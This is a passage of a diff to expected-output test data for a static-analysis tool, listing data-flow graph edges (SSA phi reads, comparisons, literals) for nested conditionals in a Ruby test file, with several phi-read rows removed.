-| UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(x) | UseUseExplosion.rb:20:1601:20:2484 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1606:20:2484 | if ... | UseUseExplosion.rb:20:1601:20:2484 | then ... |
 | UseUseExplosion.rb:20:1610:20:1614 | @prop | UseUseExplosion.rb:20:1610:20:1619 | ... > ... |
 | UseUseExplosion.rb:20:1610:20:1614 | [post] self | UseUseExplosion.rb:20:1631:20:1635 | self |
@@ -1276,11 +971,7 @@
 | UseUseExplosion.rb:20:1610:20:1619 | ... > ... | UseUseExplosion.rb:20:1609:20:1620 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1610:20:1619 | ... > ... | UseUseExplosion.rb:20:1609:20:1620 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1618:20:1619 | 24 | UseUseExplosion.rb:20:1610:20:1619 | ... > ... |
-| UseUseExplosion.rb:20:1622:20:2468 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1622:20:2468 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1606:20:2484 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1622:20:2468 | then ... | UseUseExplosion.rb:20:1606:20:2484 | if ... |
-| UseUseExplosion.rb:20:1627:20:2468 | SSA phi read(self) | UseUseExplosion.rb:20:1622:20:2468 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1627:20:2468 | SSA phi read(x) | UseUseExplosion.rb:20:1622:20:2468 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1627:20:2468 | if ... | UseUseExplosion.rb:20:1622:20:2468 | then ... |
 | UseUseExplosion.rb:20:1631:20:1635 | @prop | UseUseExplosion.rb:20:1631:20:1640 | ... > ... |
 | UseUseExplosion.rb:20:1631:20:1635 | [post] self | UseUseExplosion.rb:20:1652:20:1656 | self |
@@ -1290,11 +981,7 @@
 | UseUseExplosion.rb:20:1631:20:1640 | ... > ... | UseUseExplosion.rb:20:1630:20:1641 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1631:20:1640 | ... > ... | UseUseExplosion.rb:20:1630:20:1641 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1639:20:1640 | 23 | UseUseExplosion.rb:20:1631:20:1640 | ... > ... |
-| UseUseExplosion.rb:20:1643:20:2452 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1627:20:2468 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1643:20:2452 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1627:20:2468 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1643:20:2452 | then ... | UseUseExplosion.rb:20:1627:20:2468 | if ... |
-| UseUseExplosion.rb:20:1648:20:2452 | SSA phi read(self) | UseUseExplosion.rb:20:1643:20:2452 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1648:20:2452 | SSA phi read(x) | UseUseExplosion.rb:20:1643:20:2452 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1648:20:2452 | if ... | UseUseExplosion.rb:20:1643:20:2452 | then ... |
 | UseUseExplosion.rb:20:1652:20:1656 | @prop | UseUseExplosion.rb:20:1652:20:1661 | ... > ... |
 | UseUseExplosion.rb:20:1652:20:1656 | [post] self | UseUseExplosion.rb:20:1673:20:1677 | self |
@@ -1304,11 +991,7 @@
 | UseUseExplosion.rb:20:1652:20:1661 | ... > ... | UseUseExplosion.rb:20:1651:20:1662 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1652:20:1661 | ... > ... | UseUseExplosion.rb:20:1651:20:1662 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1660:20:1661 | 22 | UseUseExplosion.rb:20:1652:20:1661 | ... > ... |
-| UseUseExplosion.rb:20:1664:20:2436 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1648:20:2452 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1664:20:2436 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1648:20:2452 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1664:20:2436 | then ... | UseUseExplosion.rb:20:1648:20:2452 | if ... |
-| UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(self) | UseUseExplosion.rb:20:1664:20:2436 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(x) | UseUseExplosion.rb:20:1664:20:2436 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1669:20:2436 | if ... | UseUseExplosion.rb:20:1664:20:2436 | then ... |
 | UseUseExplosion.rb:20:1673:20:1677 | @prop | UseUseExplosion.rb:20:1673:20:1682 | ... > ... |
 | UseUseExplosion.rb:20:1673:20:1677 | [post] self | UseUseExplosion.rb:20:1694:20:1698 | self |
@@ -1318,11 +1001,7 @@
 | UseUseExplosion.rb:20:1673:20:1682 | ... > ... | UseUseExplosion.rb:20:1672:20:1683 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1673:20:1682 | ... > ... | UseUseExplosion.rb:20:1672:20:1683 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1681:20:1682 | 21 | UseUseExplosion.rb:20:1673:20:1682 | ... > ... |
-| UseUseExplosion.rb:20:1685:20:2420 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1685:20:2420 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1685:20:2420 | then ... | UseUseExplosion.rb:20:1669:20:2436 | if ... |
-| UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(self) | UseUseExplosion.rb:20:1685:20:2420 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(x) | UseUseExplosion.rb:20:1685:20:2420 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1690:20:2420 | if ... | UseUseExplosion.rb:20:1685:20:2420 | then ... |
 | UseUseExplosion.rb:20:1694:20:1698 | @prop | UseUseExplosion.rb:20:1694:20:1703 | ... > ... |
 | UseUseExplosion.rb:20:1694:20:1698 | [post] self | UseUseExplosion.rb:20:1715:20:1719 | self |
@@ -1332,11 +1011,7 @@
 | UseUseExplosion.rb:20:1694:20:1703 | ... > ... | UseUseExplosion.rb:20:1693:20:1704 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1694:20:1703 | ... > ... | UseUseExplosion.rb:20:1693:20:1704 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1702:20:1703 | 20 | UseUseExplosion.rb:20:1694:20:1703 | ... > ... |
-| UseUseExplosion.rb:20:1706:20:2404 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1706:20:2404 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1706:20:2404 | then ... | UseUseExplosion.rb:20:1690:20:2420 | if ... |
-| UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(self) | UseUseExplosion.rb:20:1706:20:2404 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(x) | UseUseExplosion.rb:20:1706:20:2404 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1711:20:2404 | if ... | UseUseExplosion.rb:20:1706:20:2404 | then ... |
 | UseUseExplosion.rb:20:1715:20:1719 | @prop | UseUseExplosion.rb:20:1715:20:1724 | ... > ... |
 | UseUseExplosion.rb:20:1715:20:1719 | [post] self | UseUseExplosion.rb:20:1736:20:1740 | self |
@@ -1346,11 +1021,7 @@
 | UseUseExplosion.rb:20:1715:20:1724 | ... > ... | UseUseExplosion.rb:20:1714:20:1725 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1715:20:1724 | ... > ... | UseUseExplosion.rb:20:1714:20:1725 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1723:20:1724 | 19 | UseUseExplosion.rb:20:1715:20:1724 | ... > ... |
-| UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1727:20:2388 | then ... | UseUseExplosion.rb:20:1711:20:2404 | if ... |
-| UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(self) | UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(x) | UseUseExplosion.rb:20:1727:20:2388 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1732:20:2388 | if ... | UseUseExplosion.rb:20:1727:20:2388 | then ... |
 | UseUseExplosion.rb:20:1736:20:1740 | @prop | UseUseExplosion.rb:20:1736:20:1745 | ... > ... |
 | UseUseExplosion.rb:20:1736:20:1740 | [post] self | UseUseExplosion.rb:20:1757:20:1761 | self |
@@ -1360,11 +1031,7 @@
 | UseUseExplosion.rb:20:1736:20:1745 | ... > ... | UseUseExplosion.rb:20:1735:20:1746 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1736:20:1745 | ... > ... | UseUseExplosion.rb:20:1735:20:1746 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1744:20:1745 | 18 | UseUseExplosion.rb:20:1736:20:1745 | ... > ... |
-| UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1748:20:2372 | then ... | UseUseExplosion.rb:20:1732:20:2388 | if ... |
-| UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(self) | UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(x) | UseUseExplosion.rb:20:1748:20:2372 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1753:20:2372 | if ... | UseUseExplosion.rb:20:1748:20:2372 | then ... |
 | UseUseExplosion.rb:20:1757:20:1761 | @prop | UseUseExplosion.rb:20:1757:20:1766 | ... > ... |
 | UseUseExplosion.rb:20:1757:20:1761 | [post] self | UseUseExplosion.rb:20:1778:20:1782 | self |
@@ -1374,11 +1041,7 @@
 | UseUseExplosion.rb:20:1757:20:1766 | ... > ... | UseUseExplosion.rb:20:1756:20:1767 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1757:20:1766 | ... > ... | UseUseExplosion.rb:20:1756:20:1767 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1765:20:1766 | 17 | UseUseExplosion.rb:20:1757:20:1766 | ... > ... |
-| UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1769:20:2356 | then ... | UseUseExplosion.rb:20:1753:20:2372 | if ... |
-| UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(self) | UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(x) | UseUseExplosion.rb:20:1769:20:2356 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1774:20:2356 | if ... | UseUseExplosion.rb:20:1769:20:2356 | then ... |
 | UseUseExplosion.rb:20:1778:20:1782 | @prop | UseUseExplosion.rb:20:1778:20:1787 | ... > ... |
 | UseUseExplosion.rb:20:1778:20:1782 | [post] self | UseUseExplosion.rb:20:1799:20:1803 | self |
@@ -1388,11 +1051,7 @@
 | UseUseExplosion.rb:20:1778:20:1787 | ... > ... | UseUseExplosion.rb:20:1777:20:1788 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1778:20:1787 | ... > ... | UseUseExplosion.rb:20:1777:20:1788 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1786:20:1787 | 16 | UseUseExplosion.rb:20:1778:20:1787 | ... > ... |
-| UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1790:20:2340 | then ... | UseUseExplosion.rb:20:1774:20:2356 | if ... |
-| UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(self) | UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(x) | UseUseExplosion.rb:20:1790:20:2340 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1795:20:2340 | if ... | UseUseExplosion.rb:20:1790:20:2340 | then ... |
 | UseUseExplosion.rb:20:1799:20:1803 | @prop | UseUseExplosion.rb:20:1799:20:1808 | ... > ... |
 | UseUseExplosion.rb:20:1799:20:1803 | [post] self | UseUseExplosion.rb:20:1820:20:1824 | self |
@@ -1402,11 +1061,7 @@
 | UseUseExplosion.rb:20:1799:20:1808 | ... > ... | UseUseExplosion.rb:20:1798:20:1809 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1799:20:1808 | ... > ... | UseUseExplosion.rb:20:1798:20:1809 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1807:20:1808 | 15 | UseUseExplosion.rb:20:1799:20:1808 | ... > ... |
-| UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1811:20:2324 | then ... | UseUseExplosion.rb:20:1795:20:2340 | if ... |
-| UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(self) | UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(x) | UseUseExplosion.rb:20:1811:20:2324 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1816:20:2324 | if ... | UseUseExplosion.rb:20:1811:20:2324 | then ... |
 | UseUseExplosion.rb:20:1820:20:1824 | @prop | UseUseExplosion.rb:20:1820:20:1829 | ... > ... |
 | UseUseExplosion.rb:20:1820:20:1824 | [post] self | UseUseExplosion.rb:20:1841:20:1845 | self |
@@ -1416,11 +1071,7 @@
 | UseUseExplosion.rb:20:1820:20:1829 | ... > ... | UseUseExplosion.rb:20:1819:20:1830 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1820:20:1829 | ... > ... | UseUseExplosion.rb:20:1819:20:1830 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1828:20:1829 | 14 | UseUseExplosion.rb:20:1820:20:1829 | ... > ... |
-| UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1832:20:2308 | then ... | UseUseExplosion.rb:20:1816:20:2324 | if ... |
-| UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(self) | UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(x) | UseUseExplosion.rb:20:1832:20:2308 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1837:20:2308 | if ... | UseUseExplosion.rb:20:1832:20:2308 | then ... |
 | UseUseExplosion.rb:20:1841:20:1845 | @prop | UseUseExplosion.rb:20:1841:20:1850 | ... > ... |
 | UseUseExplosion.rb:20:1841:20:1845 | [post] self | UseUseExplosion.rb:20:1862:20:1866 | self |
@@ -1430,11 +1081,7 @@
 | UseUseExplosion.rb:20:1841:20:1850 | ... > ... | UseUseExplosion.rb:20:1840:20:1851 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1841:20:1850 | ... > ... | UseUseExplosion.rb:20:1840:20:1851 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1849:20:1850 | 13 | UseUseExplosion.rb:20:1841:20:1850 | ... > ... |
-| UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1853:20:2292 | then ... | UseUseExplosion.rb:20:1837:20:2308 | if ... |
-| UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(self) | UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(x) | UseUseExplosion.rb:20:1853:20:2292 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1858:20:2292 | if ... | UseUseExplosion.rb:20:1853:20:2292 | then ... |
 | UseUseExplosion.rb:20:1862:20:1866 | @prop | UseUseExplosion.rb:20:1862:20:1871 | ... > ... |
 | UseUseExplosion.rb:20:1862:20:1866 | [post] self | UseUseExplosion.rb:20:1883:20:1887 | self |
@@ -1444,11 +1091,7 @@
 | UseUseExplosion.rb:20:1862:20:1871 | ... > ... | UseUseExplosion.rb:20:1861:20:1872 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1862:20:1871 | ... > ... | UseUseExplosion.rb:20:1861:20:1872 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1870:20:1871 | 12 | UseUseExplosion.rb:20:1862:20:1871 | ... > ... |
-| UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1874:20:2276 | then ... | UseUseExplosion.rb:20:1858:20:2292 | if ... |
-| UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(self) | UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(x) | UseUseExplosion.rb:20:1874:20:2276 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1879:20:2276 | if ... | UseUseExplosion.rb:20:1874:20:2276 | then ... |
 | UseUseExplosion.rb:20:1883:20:1887 | @prop | UseUseExplosion.rb:20:1883:20:1892 | ... > ... |
 | UseUseExplosion.rb:20:1883:20:1887 | [post] self | UseUseExplosion.rb:20:1904:20:1908 | self |
@@ -1458,11 +1101,7 @@
 | UseUseExplosion.rb:20:1883:20:1892 | ... > ... | UseUseExplosion.rb:20:1882:20:1893 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1883:20:1892 | ... > ... | UseUseExplosion.rb:20:1882:20:1893 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1891:20:1892 | 11 | UseUseExplosion.rb:20:1883:20:1892 | ... > ... |
-| UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1895:20:2260 | then ... | UseUseExplosion.rb:20:1879:20:2276 | if ... |
-| UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(self) | UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(x) | UseUseExplosion.rb:20:1895:20:2260 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1900:20:2260 | if ... | UseUseExplosion.rb:20:1895:20:2260 | then ... |
 | UseUseExplosion.rb:20:1904:20:1908 | @prop | UseUseExplosion.rb:20:1904:20:1913 | ... > ... |
 | UseUseExplosion.rb:20:1904:20:1908 | [post] self | UseUseExplosion.rb:20:1925:20:1929 | self |
@@ -1472,11 +1111,7 @@
 | UseUseExplosion.rb:20:1904:20:1913 | ... > ... | UseUseExplosion.rb:20:1903:20:1914 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1904:20:1913 | ... > ... | UseUseExplosion.rb:20:1903:20:1914 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1912:20:1913 | 10 | UseUseExplosion.rb:20:1904:20:1913 | ... > ... |
-| UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1916:20:2244 | then ... | UseUseExplosion.rb:20:1900:20:2260 | if ... |
-| UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(self) | UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(x) | UseUseExplosion.rb:20:1916:20:2244 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1921:20:2244 | if ... | UseUseExplosion.rb:20:1916:20:2244 | then ... |
 | UseUseExplosion.rb:20:1925:20:1929 | @prop | UseUseExplosion.rb:20:1925:20:1933 | ... > ... |
 | UseUseExplosion.rb:20:1925:20:1929 | [post] self | UseUseExplosion.rb:20:1945:20:1949 | self |
@@ -1486,11 +1121,7 @@
 | UseUseExplosion.rb:20:1925:20:1933 | ... > ... | UseUseExplosion.rb:20:1924:20:1934 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1925:20:1933 | ... > ... | UseUseExplosion.rb:20:1924:20:1934 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1933:20:1933 | 9 | UseUseExplosion.rb:20:1925:20:1933 | ... > ... |
-| UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1936:20:2228 | then ... | UseUseExplosion.rb:20:1921:20:2244 | if ... |
-| UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(self) | UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(x) | UseUseExplosion.rb:20:1936:20:2228 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1941:20:2228 | if ... | UseUseExplosion.rb:20:1936:20:2228 | then ... |
 | UseUseExplosion.rb:20:1945:20:1949 | @prop | UseUseExplosion.rb:20:1945:20:1953 | ... > ... |
 | UseUseExplosion.rb:20:1945:20:1949 | [post] self | UseUseExplosion.rb:20:1965:20:1969 | self |
@@ -1500,11 +1131,7 @@
 | UseUseExplosion.rb:20:1945:20:1953 | ... > ... | UseUseExplosion.rb:20:1944:20:1954 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1945:20:1953 | ... > ... | UseUseExplosion.rb:20:1944:20:1954 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1953:20:1953 | 8 | UseUseExplosion.rb:20:1945:20:1953 | ... > ... |
-| UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1956:20:2212 | then ... | UseUseExplosion.rb:20:1941:20:2228 | if ... |
-| UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(self) | UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(x) | UseUseExplosion.rb:20:1956:20:2212 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1961:20:2212 | if ... | UseUseExplosion.rb:20:1956:20:2212 | then ... |
 | UseUseExplosion.rb:20:1965:20:1969 | @prop | UseUseExplosion.rb:20:1965:20:1973 | ... > ... |
 | UseUseExplosion.rb:20:1965:20:1969 | [post] self | UseUseExplosion.rb:20:1985:20:1989 | self |
@@ -1514,11 +1141,7 @@
 | UseUseExplosion.rb:20:1965:20:1973 | ... > ... | UseUseExplosion.rb:20:1964:20:1974 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1965:20:1973 | ... > ... | UseUseExplosion.rb:20:1964:20:1974 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1973:20:1973 | 7 | UseUseExplosion.rb:20:1965:20:1973 | ... > ... |
-| UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1976:20:2196 | then ... | UseUseExplosion.rb:20:1961:20:2212 | if ... |
-| UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(self) | UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(x) | UseUseExplosion.rb:20:1976:20:2196 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:1981:20:2196 | if ... | UseUseExplosion.rb:20:1976:20:2196 | then ... |
 | UseUseExplosion.rb:20:1985:20:1989 | @prop | UseUseExplosion.rb:20:1985:20:1993 | ... > ... |
 | UseUseExplosion.rb:20:1985:20:1989 | [post] self | UseUseExplosion.rb:20:2005:20:2009 | self |
@@ -1528,11 +1151,7 @@
 | UseUseExplosion.rb:20:1985:20:1993 | ... > ... | UseUseExplosion.rb:20:1984:20:1994 | [false] ( ... ) |
 | UseUseExplosion.rb:20:1985:20:1993 | ... > ... | UseUseExplosion.rb:20:1984:20:1994 | [true] ( ... ) |
 | UseUseExplosion.rb:20:1993:20:1993 | 6 | UseUseExplosion.rb:20:1985:20:1993 | ... > ... |
-| UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(self) |
-| UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(x) |
 | UseUseExplosion.rb:20:1996:20:2180 | then ... | UseUseExplosion.rb:20:1981:20:2196 | if ... |
-| UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(self) | UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(x) | UseUseExplosion.rb:20:1996:20:2180 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:2001:20:2180 | if ... | UseUseExplosion.rb:20:1996:20:2180 | then ... |
 | UseUseExplosion.rb:20:2005:20:2009 | @prop | UseUseExplosion.rb:20:2005:20:2013 | ... > ... |
 | UseUseExplosion.rb:20:2005:20:2009 | [post] self | UseUseExplosion.rb:20:2025:20:2029 | self |
@@ -1542,11 +1161,7 @@
 | UseUseExplosion.rb:20:2005:20:2013 | ... > ... | UseUseExplosion.rb:20:2004:20:2014 | [false] ( ... ) |
 | UseUseExplosion.rb:20:2005:20:2013 | ... > ... | UseUseExplosion.rb:20:2004:20:2014 | [true] ( ... ) |
 | UseUseExplosion.rb:20:2013:20:2013 | 5 | UseUseExplosion.rb:20:2005:20:2013 | ... > ... |
-| UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2016:20:2164 | then ... | UseUseExplosion.rb:20:2001:20:2180 | if ... |
-| UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(self) | UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(x) | UseUseExplosion.rb:20:2016:20:2164 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:2021:20:2164 | if ... | UseUseExplosion.rb:20:2016:20:2164 | then ... |
 | UseUseExplosion.rb:20:2025:20:2029 | @prop | UseUseExplosion.rb:20:2025:20:2033 | ... > ... |
 | UseUseExplosion.rb:20:2025:20:2029 | [post] self | UseUseExplosion.rb:20:2045:20:2049 | self |
@@ -1556,11 +1171,7 @@
 | UseUseExplosion.rb:20:2025:20:2033 | ... > ... | UseUseExplosion.rb:20:2024:20:2034 | [false] ( ... ) |
 | UseUseExplosion.rb:20:2025:20:2033 | ... > ... | UseUseExplosion.rb:20:2024:20:2034 | [true] ( ... ) |
 | UseUseExplosion.rb:20:2033:20:2033 | 4 | UseUseExplosion.rb:20:2025:20:2033 | ... > ... |
-| UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(self) |
